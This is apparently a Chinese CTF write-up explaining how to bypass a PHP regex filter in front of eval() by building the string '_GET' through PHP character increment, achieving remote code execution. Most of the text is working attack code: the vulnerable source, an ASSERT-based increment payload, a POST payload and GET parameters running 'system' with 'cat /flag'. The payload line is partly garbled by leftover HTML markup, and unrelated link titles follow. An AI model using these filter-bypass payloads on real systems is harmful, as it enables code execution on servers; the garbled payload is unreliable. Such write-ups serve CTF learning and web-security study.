• PHP自增构造_GET


    源码:

    1. error_reporting(0);
    2. if ($_GET['secret']){
    3. highlight_file(__FILE__);
    4. }else{
    5. setcookie("hint", "?secret", time()+3600);
    6. }
    7. if (isset($_POST['hh'])) {
    8. $hh = $_POST['hh'];
    9. if (is_string($hh) || strlen($hh) <= 107) {
    10. if (!preg_match("/[!@#%^&*:'\"|`a-zB-Z~\\\\]|[2-5]/",$hh)){
    11. eval($hh);
    12. }else{
    13. echo("no! hacker!!");
    14. }
    15. }
    16. } else {
    17. phpinfo();
    18. }

    查看正则匹配还剩的东西:

    1. for($a = 0; $a < 256; $a++){
    2. if (!preg_match("/[!@#%^&*:'\"|`a-zB-Z~\\\\]|[2-5]/", chr($a))){
    3. echo chr($a)." ";
    4. }
    5. }
    6. ?>

    只有 1 6 7 8 9 ; < = > ? A [ ] _ { } 可以用了;

    然后要触发eval() 构造rce 就可以通过PHP自增来实现;什么是PHP自增?

    比如 ‘a’++ =b;'c'++=d;

    这就是自增,那么这道题就可以通过A 的自增来得到我们想要的函数

    另外,在php中,当把字符串和数组连接在一起时,最终返回的值是Array

    1. echo ''.[];
    2. //输出 Array

    那么只要取Array中的第一个字母A和第四个字母a,就可以得到A-Z和a-z的所有字母组合。

    1. $_=[];
    2. $_=@"$_"; // $_='Array';
    3. $_=$_['!'=='@']; // $_=$_[0];
    4. $___=$_; // A
    5. $__=$_;
    6. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    7. $___.=$__; // S
    8. $___.=$__; // S
    9. $__=$_;
    10. $__++;$__++;$__++;$__++; // E
    11. $___.=$__;
    12. $__=$_;
    13. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
    14. $___.=$__;
    15. $__=$_;
    16. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
    17. $___.=$__;
    18. $____='_';
    19. $__=$_;
    20. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
    21. $____.=$__;
    22. $__=$_;
    23. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
    24. $____.=$__;
    25. $__=$_;
    26. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
    27. $____.=$__;
    28. $__=$_;
    29. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
    30. $____.=$__;
    31. $_=$$____;
    32. $___($_[_]); // ASSERT($_POST[_]);

    这里我们采用A来构造_GET

    1. $_='A';
    2. $_++;
    3. $_++;
    4. $_++;
    5. $A=++$_;
    6. $_++;
    7. $A_=++$_;
    8. $_=('A'/'A'.'A'){0}; //N
    9. $_++; //O
    10. $_++; //P
    11. $_++; //Q
    12. $_++; //R
    13. $_++; //S
    14. $_='_'.$A_.$A.++$_; //_GET
    15. echo $_;
    16. //($$_{1})($$_{2}); //($_GET{1})($_GET{2})

    post传参

    hh=$_=A;$_++;$_++;$_++;$A=++$_;$_++;$A_=++$_;$_=(A/A.A){0};$_++;$_++;$_++;$_++;$_++;$_=_.$A_.$A.++$_;(

    6)(" role="presentation" style="text-align: center; position: relative;">6)(
    _{7});

     但是要经过URL编码传参;

    然后get传

    secret=6&6=system&7=cat /flag

    和system相同的还有passthru

  • 相关阅读:
    360 度评估问题示范
    分享篇:初识Canvas
    TTS引用与选型
    【正点原子I.MX6U-MINI应用篇】8、嵌入式Linux网络通信socket编程
    (十) web自动化测试-PO设计模式
    二百三十三、Flume——Flume采集JSON文件到Kafka,再用Flume采集Kafka数据到HDFS中
    Standardized QCI characteristics
    微信小程序新版隐私协议弹窗实现最新版
    激活函数之ReLU, GeLU, SwiGLU
    InnoDB 是如何解决幻读的
  • 原文地址:https://blog.csdn.net/qq_58970968/article/details/126215305